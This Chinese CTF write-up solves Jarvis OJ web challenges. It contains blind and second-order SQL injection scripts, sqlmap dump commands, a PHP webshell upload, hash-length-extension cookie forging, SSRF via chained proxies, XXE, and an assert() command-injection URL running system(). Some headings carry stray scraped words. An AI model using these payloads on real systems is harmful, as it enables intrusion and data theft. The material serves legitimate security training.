jarvis OJ WEB題目writeup

0x00前言php

發現一個很好的ctf平臺,題目感受頗有趣,學習了一波並記錄一下html

https://www.jarvisoj.compython

 

0x01 Port51linux

題目要求是用51端口去訪問該網頁,注意下,要用具備公網的計算機去連,我這裏用的個人騰訊雲服務器去訪問的,本地並不能反回正確結果,由於本地私有地址從代理服務器出去後,使用的是代理服務器的端口,這個端口每每不會是51git

curl --local-port 51 http://web.jarvisoj.com:32770/

 

0x02 LOCALHOSTgithub

題目提示要用localhost去訪問,即本身的ip要是127.0.0.1web

ip可控的2個頭部一個是x-forwarded-for,一個是client-ipajax

這裏是x-forwarded-for就能假裝成127.0.0.1算法

固然這種類型若是是$_SERVER['remote_addr']那麼就沒辦法假裝了sql

 

0x03 Login

剛開始就以爲是sql注入,可是fuzz也沒啥有用的結果,後面發現返回頭有個hint

給出了sql語句,md5($value, true)和md5($value)有什麼區別呢

md5($value, true)  返回的是$value進行md5成的32位16進制的,2個16進制組合成的字符串
md5($value)      返回的是$value進行md5加密的32個16進制字符,效果等價於 md($value, false)

這裏由於是將32位的hash給字符串顯示了,上網看了別人的writeup才知道有個 ffifdyop md5加密後的字符串爲 'or'6xxxxxxx 這種格式,6xxxxx這種格式不是0,那麼就是真

全部這裏輸入ffifdyop

 

0x04 神盾局的祕密

一來一張大圖片把頁面擋住了,雖然有縫隙能夠右鍵縫隙處看源碼

也能夠在地址欄,前面加上view-source:

發現img的結果是base64編碼後的,這裏解碼後是個圖片的文件名

咱們試着看看index.php的代碼

 再看shield.php的代碼,發現有個註釋flag在ptcf.php裏面,可是這個文件無法直接訪問

 

再看showimg.php的代碼,發現沒發直接用showimg.php來讀取pctf.php

 而後整理下解題思路,這裏是利用本身寫Shield.php中的Shield類反序列化字符串,而後利用index.php反序列把這個類實例,並將該類的filename指爲pctf.php

寫個序列化的代碼

<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    $a = new Shield('pctf.php');
    echo serialize($a);
?>

生成

將序列化的內容傳入index的class參數,記得看源碼

 

 

0x05 IN A Mess

先看源碼

瀏覽index.phps估計是index.php的源碼

而後我是把那一長串if拆分,放在本地本身一個個繞,最後的繞過方法以下

a利用php://input 來將post的數據賦值給$data

id利用%00來使 id == 0,而不會使在前一個if(!$_GET['id'])時候提早退出

b利用%00達到目的,由於strsub會檢驗%00這個字符,而eregi會跳過%00,去檢查第二個值4

成功後發現是一串字符,當時傻傻的去當flag提交,可是不是,看了別人的writeup才發現是個地址......

因而接着訪問,它自動補充了id這個參數,估計是sql注入

附上個人腳本

import time
import requests

s = requests.Session()
url = 'http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id='

#length is 7
#content
#length is 16
#flag is id,context,title
#length is 44
def getlength():
    for i in range(0,100):
        payload1 = "-1||(if(length((seleselectct(group_concat(column_name))frfromom(information_schema.columns)where(table_name=0x636f6e74656e74)))=" + str(i) + ",sleep(5),0))"
        payload2 = "-1||(if(length((seleselectct(group_concat(id,context,title))frfromom(content)))=" + str(i) + ",sleep(5),0))"
        r = s.get(url + payload2)
        if r.elapsed.total_seconds() > 5:
            print "length is " + str(i)
            break
        else:
            print r.elapsed.total_seconds()

def getword():
    flag = ""
    for i in range(1,45):
        print i
        for j in "abcdefghijklmnopqrsstuvwxyz1234567890!@#$%^&*()_ABCDEFGHIJKLMNOPQRSTUVWXYZ-=+,./;'?:[]<>\"{}":
            payload1 = "-1||(if(substr((seleselectct(group_concat(column_name))frfromom(information_schema.columns)where(table_name=0x636f6e74656e74))," + str(i) + ",1)=" + hex(ord(str(j))) + ",sleep(5),0))"
            payload2 = "-1||(if(substr((seleselectct(group_concat(id,context,title))frfromom(content))," + str(i) + ",1)=" + hex(ord(str(j))) + ",sleep(5),0))"
            #print payload2
            r = s.get(url + payload2)
            if r.elapsed.total_seconds() > 5:
                flag += str(j)
                print "flag is " + flag
                break


getword()

結果爲

 

0x06 RE?

這道題考察的內容估計是udf提權的時候加載udf文件,我在以前學習udf提權的時候,把這道題記錄了下來

有興趣能夠看看我以前寫的udf提權,這道題解在0x02

 

0x07 flag在管理員手裏

 看源碼啥也莫得,看看請求頭,本身的cookie多了2個奇怪的參數

估計要找源碼了,常見的備份文件 .bak .swp .swo 還有 ~

這裏是index.php~

丟掉linux中用vim -r 處理下,個人處理方式,先更名成 .index.php 而後用 vim -r .index.php 可是打開文件只能讀,最後把內容複製出來

這裏的考察點是哈希拓展攻擊,而且咱們知道了role是 s:5:"admin";進行反序列化後的admin

hsh的值是 s:5:admin這個值的反轉加salt

哈希拓展攻擊是什麼?https://www.freebuf.com/articles/web/69264.html

什麼狀況下用哈希擴展攻擊呢

$crypto = md5(salt . 'password')

這裏面咱們知道 $crypto,password這2個值,不知道salt的值,可是下面有個判斷

要求$_GET['a'] != $crypto和 $_GET['b'] != 'password'

if($_GET['a'] = md5(salt . $_GET['b'])){
    return "right";
}

salt仍是上面的salt,a和b可控,那麼要使等式成立,按理說是須要salt的值的

可是哈希擴展攻擊就是不須要知道salt的值,也能知足等式

可是這個$_GET['b']比較特殊,它須要按在$crypto和password的規則補全擴展一輪的分組,而後再填$_GET['b']的值,就能計算出$_GET['a']的值,可是要知道salt的長度

在kali下有個hashpump,依次輸入

$crypto(32位hash值)

password (上面加鹽後結果前的值)

len(salt)  (鹽的長度)

text (擴充字符) (咱們想控制的值)

會生成$_GET['a']的hash值和根據text變型的$_GET['b']

可是這裏不知道鹽的長度。。。。。。。

這裏要麼用個python腳本寫着爆破,這裏有篇一樣是jarvisOJ WEB的題writeup,該文章博主使用的hash_extender工具,和hashdump最終目的同樣的

https://skysec.top/2017/08/16/jarvisoj-web/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C

至於我是怎麼找到的,由於以前麼用過hashdump,剛開始我把len(salt)理解成s:5:"admin";長度了,因而瞎貓碰上死耗子,因而就中了.......

而後把內容中值反轉一下,並把\x00改爲%00

s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b

fcdc3840332555511c4e4323f6decb07

將其輸入到cookie對應的參數中,得到flag,注意下序列化的 ";" 在cookie中須要編碼成 %3b

那麼這裏爲何可以添加了這麼多內容,還能知足源碼中以下的斷定條件呢

$role == 'admin'

由於這道題巧在利用了unserialize來進行反序列化,它會把序列化格式 ;以後的內容丟棄

也就是 s:5:"admin"; xxxxx (xxxx全被丟棄了)

若是不是被反序列化了,這樣這道題不能知足$role == 'admin'條件了

 

0x08 Chopper

剛剛進去的時候點擊管理員登陸,題目表示沒有訪問/admin/的權限

可是給出了管理員的ip,是個公網ip試着訪問下,是個報錯的頁面,可是至少web服務器是開着的

又回到題目上,看了下源碼,發現菜刀的圖片的加載是使用了遠程加載

那麼我想着用這個url去訪問管理員的ip網站,和以前直接訪問的403有區別,只是這個頁面沒有index文件而已

 那麼在後續對管理員服務器進行掃描的過程當中發現又存在一個proxy.php文件,而後聯繫到原來網站的proxy.php?url=這種遠程包含的參數

這裏也就試了下,並指到原網站的/admin/目錄下

web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

接下來又掃描目錄,由於跳了幾跳御劍掃的十分的慢,但所幸有個robots.txt

trojan.php.txt是後門文件的源碼,內容以下

由於進行異或處理,就是不知道菜刀密碼,這裏把代碼拷貝下來,掛在本地的web服務器上,就有報錯就知道密碼啦

最後利用後門去找flag

 

0x09 Easy Gallery

點擊submit和view的時候發現,url後面帶了個參數,猜想多是文件包含,隨便寫點東西,報錯warning

確信是用fopen進行文件包含的,這裏可以%00截斷,可是不能訪問index.php

那麼思路是把代碼插入到圖片中,而後包含這個圖片,並利用%00截斷,截取後面的.php,這裏不能直接傳以jpg格式結尾的php代碼,估計它檢查了頭部因此要將代碼插入圖片中

抓包,在圖片文件最後加上一句話木馬

 

最早寫<?php eval($_POST[1])?>並不能成功,不知道爲何,後面看了別人的writeup才知道可能後臺代碼把 <?php 給waf了,這也是爲何index.php不能包含進去的緣由

經過submit上傳,經過view進行查看圖片,而後查看源碼獲取圖片的位置

view-source:http://web.jarvisoj.com:32785/show.php?id=1553168238&type=jpg

最後進行包含,包含成功後就直接出答案了,不用去翻了

 

0x10 Simple Injection

注入成功會返回密碼錯誤,失敗會返回用戶名不存在,而且也能延時,可是貌似是把[空格]給替換成空,也就是 " " => ""

                 

這裏直接用sqlmap注入了,把請求頭抓下來,利用延時,並把level設置高點,利用空格的bypass的tamper

sqlmap  -r 3.txt --technique T --level 3 --tamper=space2comment

 

最終的payload

sqlmap  -r 3.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump

 

登陸得到flag

 

 0x11 api調用

抓包是傳的json

看了下源碼是利用了ajax,由於以前比賽的時候作過相似的題目(估計那場比賽是借鑑這道題的),這裏把傳的json改爲xml,並利用xxe讀取flag

先把頭中的Content-Type改成application/xml

下面利用xxe

 

0x12 圖片上傳漏洞

先掃描目錄,發現test.php

打開是phpinfo,我最早是去找文件上傳的路徑之類的信息,後面作不出來看了writeup發現是imagick的CVE漏洞

http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html

但沒有復現成功,以後會慢慢研究,這裏先貼下別人的writeup,我懷疑不成功是個人png文件的問題

https://skysec.top/2017/08/16/jarvisoj-web/#%E5%9B%BE%E7%89%87%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E

確實題目uploads目錄下有x.php,而且可以鏈接,「借刀殺人」找flag

 

0x13 PHPINFO

這道題我以前在學習php反序列化的時候常常碰見,以前總結了下相關知識

題目在0x01:http://www.javashuo.com/article/p-zpfnikqs-d.html

 

0x14 WEB?

先看看源碼,發現並非form表單傳到後臺處理的,而是經過js來驗證的

打開app.js,並丟到js源碼排版網站上把代碼排下版,一看2W行代碼,可是這個直接find下,password關鍵字

至於這個password由於直接查看頁面源碼是看不到的,它是用<div id="app">加載進去的,全部按F12用查看器查看

在7523行找到一個password,而且這段代碼邏輯是checkpass來判斷密碼是否正確的

跟蹤checkpass,在7454行找到checkpass方法,而且調用了__checkpass__REACT_HOT_LOADER__

這裏繼續跟蹤__checkpass__REACT_HOT_LOADER__,在7496行發現一段代碼

這一段代碼做用是矩陣相乘,已知 矩陣B和矩陣C,不知道矩陣A

矩陣A*矩陣B = 矩陣C,求矩陣A,看到這裏我還去翻線性代數課本,然而仍是不會寫算這個矩陣A的算法

好在python有庫

scipy的linalg是對線性代碼操做的一個庫若是沒有可用pip安裝下

pip install scipy

首先加載進來的方法

from scipy import linalg

由於操做的對象是矩陣,須要用到numpy

numpy.array()來申請矩陣

因此要加載numpy庫

import numpy

若是要運行矩陣A *矩陣B = 矩陣C

已知矩陣B和矩陣C,求矩陣A,若是用正常操做麻煩死了

因此有個函數solve

A = linalg.solve(B,C)

注意下參數位置,比較重要,由於矩陣反了不必定能對

這裏題目的r是矩陣C,o是矩陣B

最後的exp

from scipy import linalg
import numpy

r = numpy.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = numpy.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
result = linalg.solve(o,r)

for i in range(len(result)):
    print chr(int(round(result[i]))),

由於result[i]的結果是帶小數的,不四捨五入的話,會有幾個字符錯誤,因此用round四捨五入

 

0x15 [61dctf]admin:

掃一下目錄,發現有個robots.txt

訪問該文件,並把cookie中的admin的值從0改成1

 

0x16 [61dctf]inject

提示先找到源碼,按套路找備份文件,這裏是index.php~,訪問查看源碼便可

這裏用了2個select語句, 第一個用desc來進行查詢,desc查詢的格式爲

desc `table1` `table2` ....

只要第一個table1,知足了就會返回真

因此這道題payload前段構造是

test` ` ....

接下來只要對第二個查詢語句進行注入便可

它的完整格式中會出現 ` `這個空字符,可是絲絕不會影響sql語句的正確性,本地測試下

那麼最後上腳本(看了writeup發現能夠聯合注入利用limit 1,1來顯示第二行),我這裏使用的是延遲注入

import requests

s = requests.Session()
url = "http://web.jarvisoj.com:32794/index.php?table=test` `"
length = 0
flag = ""

for i in range(0,100):
    #payload = "union select (if(length((select database()))=" + str(i) + ",sleep(5),0)) #"
    #payload = "union select (if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=" + str(i) + ",sleep(5),0)) #"
    #payload = "union select (if(length((select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167))=" + str(i) + ",sleep(5),0)) #"
    payload = "union select (if(length((select group_concat(flaguwillneverknow) from secret_flag))=" + str(i) + ",sleep(5),0)) #"
    r = s.get(url + payload)
    if r.elapsed.total_seconds() > 5:
        print "length is" + str(i);
        length = i
        break
    else:
        #print payload
        print r.elapsed.total_seconds()

for i in range(1, length + 1):
    print i
    for j in 'abcdefghijklmnopqrstuvwxyz1234567890-=!@#$%^&*()_+[];\',./{}:"<>?\\|~':
        #payload = "union select (if((substr((select database())," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        #payload = "union select (if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        #payload = "union select (if((substr((select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167)," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        payload = "union select (if((substr((select group_concat(flaguwillneverknow) from secret_flag)," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        r = s.get(url + payload)
        if r.elapsed.total_seconds() > 5:
            flag += str(j)
            print "flag is " + flag
            break
        else:
            #print payload
            print r.elapsed.total_seconds()

#database: 61d300
#table: secret_flag,secret_test
#column: flaguwillneverknow

 

 0x17 [61dctf]register

題目提示是二次注入,注入點是country

先掃一下目錄發現了註冊頁面register.php和waf頁面hacker.php

最早我嘗試的時候是輸入的payload爲1' or '1'='1

進去後翻有country的頁面,在該路徑下有country字段內容

http://web.jarvisoj.com:32796/index.php?page=info

但不幸的是被轉義了??

後面看了writeup發現是有注入點,可是前面字段爲空的時候第一個'不會被轉義

二次注入的判斷點在Date這個地方,若是正確會返回當前的北京時間,若是錯誤會返回另外一時間

而且本身在測試的時候country的內容是限制長度的,若是輸入的語句信息過長會被截斷

waf不少好比information_schema被過濾了,password被過濾等

最後根據別人的writeup得知猜想存在users表,而且要獲取管理員admin的密碼登陸

可是password是被過濾了的,因此沒法用group_concat(password)來獲取字段,可是能夠用 as來達到不須要password也能獲取內容的手法,這裏先在本地數據庫測試下語句的合法性

我以前說過,payload的長度是被限制了的,我最早用if(1,1,0)的方式去注入,可是太長了被截斷了,以後可用ascii()=來減短長度,as可用用``來代替,即 2 as a => 2`a`

測試出users應該有5個字段

最後的payload爲

' or ascii(substr((select group_concat(a) from(select 1,2,3`a`,4,5 union select * from users)`b`),1,1))>0x19#

我這裏說明下,個人payload已是極限了,若是再長就會被截斷,我在本身的腳本跑的時候,發現到第10個字符就不回顯了,後面手注測試了下,由於10是2個字符,substr(1,10,1)比substr(1,1,1)多一個字符吧,而後就把最後的#給截斷了,致使以後沒有成功,因而我刪了個[空格]才勉強達標

這道題有點麻煩,反正我是沒找到logout,每次手測的時候都是刪除Cookie中的phpsessid來達到從新註冊登陸

發現時間變成當前時間了,而且第一個',並無被轉義,很奇怪,,,,,

因而寫最後的payload,看的writeup的師傅用的二分法,我這裏就用普通的爆破吧,想看二分法腳本能夠看

http://mitah.cn/index.php/archives/8/

這裏由於沒有找到logout的點,因此把requests.session()放在每次字符循環內,這樣也能夠不用logout也能改變phpsessid

個人腳本,由於password通常是32位的16進制hash,而且用group_concat會出現','來隔開,其餘的符號應該就不須要了

import requests
url_index = "http://web.jarvisoj.com:32796/index.php"
url_register = "http://web.jarvisoj.com:32796/register.php"
url_login = "http://web.jarvisoj.com:32796/login.php"
url_info = "http://web.jarvisoj.com:32796/index.php?page=info"
flag = ""
num = 0
for i in range(1,1000):
    print i
    for j in "abcdef1234567890,":
        payload = "' or ascii(substr((select group_concat(a) from(select 1,2,3`a`,4,5 union select * from users)`b`)," + str(i) + ",1))=" + hex(ord(str(j))) + "#"
        data_register = {'country' : payload, 'username' : 'sijidoul' + str(num), 'password' : '123', 'address' : '123'}
        data_login = {'username' : 'sijidoul' + str(num), 'password' : '123'}
        num = num + 1

        s = requests.Session()
        s.get(url_index)
        s.post(url_register, data=data_register)
        s.post(url_login, data=data_login)
        r = s.get(url_info)

        if "<em>2019-03-22 14" in r.text:
            flag = flag + str(j);
            print "flag is " + flag
            break
        #else:
            #print payload

if "<em>2019-03-22 14"這個看本身當前計算機時間來修改日期

最後在龜速注入中得到了admin的密碼hash 9a73fd18fedd9643357ffe20b9d974e4解碼是CleverBoy

 

用admin登陸後獲取flag

 

 

0x18 [61dctf]babyphp

在about下發現了些提示,估計是/.git/文件泄露

測試了下是存在.git目錄,而後用GitHack : https://github.com/BugScanTeam/GitHack

python GitHack.py http://web.jarvisoj.com:32798/.git/

項目下載下來,瀏覽了下,templates裏面都是HTML模板,有個flag.php是空,可是估計題目就是要獲取題目服務器上的flag.php內容

最主要的地方是index.php的php代碼部分

它使用了assert這個能夠代碼執行的函數,後面的file_exists()能夠不用管,從strpos入手,由於內容可控,全部能夠拼接

本身本地模擬下,發現php可以用 and 和 | 來執行多條命令

<?php
    $a = $_GET['a'];
    $b = "templates/" . $a . ".php";
    //assert("strpos('$b','..') == false ") or die("wrong");
    //input: ','..') === false and system(\"dir\") and strpos('
    //assert("strpos('templates/ ','..') === false and system(\"dir\") and strpos(' .php','..') === false ") or die("wrong");
    //input:','..') === false | system(\"dir\") | strpos('
    assert("strpos('templates/ ','..') === false | system(\"dir\") | strpos(' .php','..') === false ") or die("wrong");
?>

這裏原本只有一個strpos的斷定, 由於$file是可控的,咱們最後的構形成 strpos  system  strpos 三條代碼,而system就能夠用來執行命令了

最終payload

http://web.jarvisoj.com:32798/index.php?page=','..') === false | system("cat templates/flag.php") | strpos('

而後記得查看源碼,flag在源碼裏面

 

0x19 babyxss

首先進去是須要爆破驗證碼的,學習別人的writeup寫了一個

import random
import hashlib
import string

string = "abcdefghijklmnopqrstuvwxyz1234567890"

while True:
    text = random.sample(string,4)
    code = ""
    text = code.join(text)
    code = hashlib.md5(text).hexdigest()
    if code[0:4] == 'c8bb':
        print "--------------------------"
        print text
        print code
        break
    else:
        print code

後面就是xss了,由於有csp頭,該頭限制了默認的資源,JavaScript的資源必須是同源的,意味着xss通常payload打不cookie

網上看了篇不錯的csp繞過的方法

CSP繞過總結

這裏估計是用<link>標籤來達到xss,道理我都懂,可是爲啥我就是利用不成功,我不知道遺漏了什麼細節,但願有人能指教>_<

 

0xff結語

作該平臺題的時候也看過不少相關的web總結性的writeup,和那些writeup相比,感受本身比較囉嗦23333。可是我把我邊看邊學中本身遇到的狀況和想法稍微理了下,但願能對你有所幫助。

相關文章
相關標籤/搜索